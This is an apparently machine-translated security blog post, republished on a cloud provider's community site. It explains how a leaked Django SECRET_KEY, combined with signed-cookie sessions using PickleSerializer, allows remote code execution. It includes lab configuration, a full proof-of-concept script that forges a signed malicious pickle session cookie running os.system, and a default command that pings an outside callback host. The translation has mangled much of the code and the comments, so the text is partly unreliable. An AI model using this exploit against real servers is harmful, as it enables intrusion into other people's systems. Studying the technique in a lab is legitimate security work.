Django secret key leaks lead to command execution practices

Source: Internet
Author: User
Tags sessions sqlite database

http://www.polaris-lab.com/index.php/archives/426/

0x01 Secret Key usage and leak-induced attack surface

Secret key is mainly used for encryption, signature, the following is the official document description:

The secret key is used For:all sessions if you be using any other session backend THANDJANGO.CONTRIB.SESSIONS.BACKENDS.C Ache, or is using Thedefaultget_session_auth_hash (). All messages if is using Cookiestorage orfallbackstorage. All Passwordresetview tokens. Any usage of cryptographic signing, unless a different key is provided.

Secret key leaks possible attack surface: Remote code execution if cookie-based sessions is used. Of course other problems that can be manipulated session_data may cause any password reset, Contrib.auth.token. Csrf...

We focus primarily on remote code execution at this point. 0x02 Django session in several ways database (database-backed sessions)

As the following figure, the session key and data are stored in the SQLite database, which is the default setting, when the user with a cookie to request the server, the cookie contains Session_key, the server will be based on this session_ Key to query the database to get to Session_data. This means that Session_data is a service-side.

Cache (Cached sessions) file system (file-based sessions) Cookie (cookie-based sessions)

When Django uses this approach, it differs from several other ways in that it will session_data in a cookie, which is present on the client. But it is signed and the signature relies on Django's secret key, so if we know secret key will probably modify Session_data. That's the point we're going to talk about. 0x03 Environment Preparation

There is a good case for implementing command execution by manipulating the session. When learning pickle deserialization, the key is that Django needs to be deserialized to get its data after Session_data has been acquired. Therefore, if you have the opportunity to manipulate Session_data, it can lead to code execution.

What we're looking at here is the secret key leak, which has 2 key points: Using the cookie-based sessions serializers. Pickleserializer

Note: Below the Django1.5 level, the session default is to use pickle to perform serial number operation Django.contrib.sessions.serializers.PickleSerializer; 1.6 And the above versions are JSON serialized by default. Django.contrib.sessions.serializers.JSONSerializer

Djgano Test Environment Deployment:

#命令行下运行如下命令来创建项目
django-admin startproject testproject

#在项目中创建应用
cd testproject
python manage.py Startapp testapp

#在setting. py with the addition of session_engine and Session_serializer configurations. This is a necessary condition for the existence of a loophole.
session_engine = ' django.contrib.sessions.backends.signed_cookies '
#SESSION_SERIALIZER = ' Django.contrib.sessions.serializers.JSONSerializer '
Session_serializer = ' Django.contrib.sessions.serializers.PickleSerializer '
#因为我的环境中使用的Django1.11, the default is to use Jsonserializer, so you need to configure this one.

The contents of urls.py are as follows:

From django.conf.urls import URL from
django.contrib import admin from
TestApp import views

urlpatterns = [
    URL (r '. *$ ', views.index),
    url (r ' ^admin/', admin.site.urls),
]

The contents of the views.py are as follows:

#-*-Coding:utf-8-*-from
__future__ import unicode_literals from

django.shortcuts import render from
Djan Go.http import HttpResponse

# Create your views here.
def index (Request):
    x= request.session
    print x.values
    print dir (x)
    print x.serializer
    print x[' UserID '] #这一句是关键, the behavior of attempting to fetch data from the session is required, and Django executes the reverse sequence
    return HttpResponse (x)

Note: There must be an attempt to fetch data from the session, and Django will perform the deserialization, otherwise it will not be triggered. Therefore, in the actual environment, it is best to choose the interface of the user information interface and so on will take the data to test.

The above completes the environment preparation, runs the Python manage.py runserver starts the service. 0x04 POC and verification

For the Pickle PoC generation method, you can refer to my previous article Python pickle arbitrary Code Execution Vulnerability Practice and payload constructs.

The contents of poc.py are as follows:

#!/usr/bin/env Python #-*-coding:utf-8-*-__author__ = ' bit4 ' __github__ = ' https://github.com/bit4woo ' Import OS Imp ORT requests from django.contrib.sessions.serializers import Pickleserializer from Django.core import signing import pick
        Le def session_gen (secret_key,command = ' ping-n 3 Test.0y0.link | | ping-c test.0y0.link ',): Class Run (object): def __reduce__ (self): #return (Os.system, (' Ping Test.0y0.link ',)) return (Os.system, (command,)

    ) #SECRET_KEY = ' 1bb8) i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f ' Secret_key = SECRET_KEY Sess = Signing.dumps (Run (), key = Secret_key,serializer=pickleserializer,salt= ' Django.contrib.sessions.backends.signed_cookies ') #生成的恶意session print sess ' salt= ' django.contrib.sess Ions.backends.signed_cookies ' Sess = Pickle.dumps (Run ()) Sess = Signing.b64_encode (sess) #通过跟踪signing. Dumps function can know pi
    The data after Ckle.dumps has been processed as follows. Sess = signing. Timestampsigner (KEY=SECREt_key, Salt=salt). sign (sess) print Sess #这里生成的session也是可以成功利用的, just to understand Signing.dumps. ' Session = ' sessionid={0} '. Format (Sess) return session DEF exp (url,secret_key,command): headers = {' Cook ' IE ': Session_gen (secret_key,command)} proxy = {"http": "http://127.0.0.1:8080"} #设置为burp的代理方便观察请求包 response = Request S.get (url,headers= headers,proxies = proxy) #print response.content if __name__ = = ' __main__ ': url = ' http://127. 0.0.1:8000/' Secret_key = ' 1bb8 ' i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f ' command = ' ping-n 3 Test.0y0.link | |
 Ping-c Test.0y0.link ' exp (url,secret_key,command)

When running poc.py, the output of the background:

Print x[' userid ' corresponds to 2 actions, one is deserialization, that is, the key to execute the system command, and the second is to take the value, here is the value failed to print the error message, but this is not important, because we have achieved our purpose.

POC scripts are best used with native libraries or methods for payload generation operations. For example, in the above poc.py, you can use the Signing.dumps, you can also use pickle.dumps and other operations, but it is best to use the first one, which can be a good guarantee of the correctness of payload. And in the actual environment, if you can obtain a specific version of the target, it is best to configure the appropriate version of the environment to complete the POC generation.

Download the environment and code for this article address: Https://github.com/bit4woo/code2sec.com/tree/master/code/testproject

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.